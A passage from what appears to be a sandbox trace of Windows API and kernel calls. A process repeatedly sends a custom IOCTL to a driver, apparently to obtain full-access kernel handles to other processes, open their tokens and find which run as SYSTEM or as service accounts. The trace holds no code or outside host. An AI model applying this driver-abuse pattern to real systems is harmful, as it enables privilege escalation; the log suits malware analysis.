Object=0xfffffa800304b4e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.860] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x7e [0081.860] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.860] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.860] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.860] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.860] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.862] CloseHandle (hObject=0xc4) returned 1 [0081.862] CloseHandle (hObject=0xbc) returned 1 [0081.862] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e0) returned 0xbc [0081.862] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.862] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa8003055910, HandleInformation=0x0) returned 0x0 [0081.862] ObOpenObjectByPointer (in: Object=0xfffffa8003055910, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.862] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xe8 [0081.862] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.862] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.862] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.862] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.862] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.864] CloseHandle (hObject=0xc4) returned 1 [0081.864] CloseHandle (hObject=0xbc) returned 1 [0081.864] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e8) returned 0xbc [0081.864] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.864] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa8003058b30, HandleInformation=0x0) returned 0x0 [0081.864] ObOpenObjectByPointer (in: Object=0xfffffa8003058b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.864] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x42 [0081.864] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.864] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.864] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.864] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.864] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.865] CloseHandle (hObject=0xc4) returned 1 [0081.865] CloseHandle (hObject=0xbc) returned 1 [0081.865] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x250) returned 0xbc [0081.865] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.865] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa800305ab30, HandleInformation=0x0) returned 0x0 [0081.866] ObOpenObjectByPointer (in: Object=0xfffffa800305ab30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.866] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x87 [0081.866] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.866] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.866] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.866] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.866] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.867] CloseHandle (hObject=0xc4) returned 1 [0081.867] CloseHandle (hObject=0xbc) returned 1 [0081.867] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x294) returned 0xbc [0081.867] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.867] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa800a76d690, HandleInformation=0x0) returned 0x0 [0081.867] ObOpenObjectByPointer (in: Object=0xfffffa800a76d690, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.867] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb3 [0081.867] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.867] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.867] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.867] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.867] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.869] CloseHandle (hObject=0xc4) returned 1 [0081.869] CloseHandle (hObject=0xbc) returned 1 [0081.869] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2c8) returned 0xbc [0081.870] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.870] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa80030fdb30, HandleInformation=0x0) returned 0x0 [0081.870] ObOpenObjectByPointer (in: Object=0xfffffa80030fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.870] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0081.870] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.870] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.870] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.870] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.870] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.871] CloseHandle (hObject=0xc4) returned 1 [0081.871] CloseHandle (hObject=0xbc) returned 1 [0081.871] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x338) returned 0xbc [0081.871] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.871] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa800312bb30, HandleInformation=0x0) returned 0x0 [0081.872] ObOpenObjectByPointer (in: Object=0xfffffa800312bb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.872] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd4 [0081.872] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.872] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.872] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.872] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.872] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.873] CloseHandle (hObject=0xc4) returned 1 [0081.873] CloseHandle (hObject=0xbc) returned 1 [0081.873] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x370) returned 0xbc [0081.873] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.873] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa800315cb30, HandleInformation=0x0) returned 0x0 [0081.873] ObOpenObjectByPointer (in: Object=0xfffffa800315cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.873] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x206 [0081.873] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.873] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.873] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.873] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.874] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.875] CloseHandle (hObject=0xc4) returned 1 [0081.875] CloseHandle (hObject=0xbc) returned 1 [0081.875] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0 [0081.875] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f8) returned 0xbc [0081.875] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.875] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa80031ba920, HandleInformation=0x0) returned 0x0 [0081.875] ObOpenObjectByPointer (in: Object=0xfffffa80031ba920, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.875] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd5 [0081.875] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.875] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.875] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.875] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.875] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.877] CloseHandle (hObject=0xc4) returned 1 [0081.877] CloseHandle (hObject=0xbc) returned 1 [0081.877] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x218) returned 0xbc [0081.877] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.877] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa80031c1b30, HandleInformation=0x0) returned 0x0 [0081.877] ObOpenObjectByPointer (in: Object=0xfffffa80031c1b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.877] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xbc [0081.877] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.877] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.877] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.877] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.877] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.879] CloseHandle (hObject=0xc4) returned 1 [0081.879] CloseHandle (hObject=0xbc) returned 1 [0081.879] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x434) returned 0xbc [0081.879] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.879] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa8003223790, HandleInformation=0x0) returned 0x0 [0081.879] ObOpenObjectByPointer (in: Object=0xfffffa8003223790, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.879] ObfDereferenceObject (Object=0xfffffa8003223790) returned 0x2d [0081.879] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.879] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.879] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.879] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.879] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.880] CloseHandle (hObject=0xc4) returned 1 [0081.880] CloseHandle (hObject=0xbc) returned 1 [0081.880] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x444) returned 0xbc [0081.880] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.880] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa8003232060, HandleInformation=0x0) returned 0x0 [0081.881] ObOpenObjectByPointer (in: Object=0xfffffa8003232060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.881] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x196 [0081.881] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: TokenHandle=0xfffffa80021b6cc0*=0xc4) returned 0x0 [0081.881] ZwClose (Handle=0xffffffff80000a70) returned 0x0 [0081.881] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.881] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0081.881] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0081.882] CloseHandle (hObject=0xc4) returned 1 [0081.882] CloseHandle (hObject=0xbc) returned 1 [0081.882] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x46c) returned 0xbc [0081.882] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0081.882] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452668, HandleInformation=0x0 | out: Object=0xfffff88005452668*=0xfffffa8003235b30, HandleInformation=0x0) returned 0x0 [0081.882] ObOpenObjectByPointer (in: Object=0xfffffa8003235b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005452670 | out: Handle=0xfffff88005452670*=0xffffffff80000a70) returned 0x0 [0081.882] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x88 [0081.882] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a70, DesiredAccess=0x8, TokenHandle=0xfffffa80021b6cc0 | out: 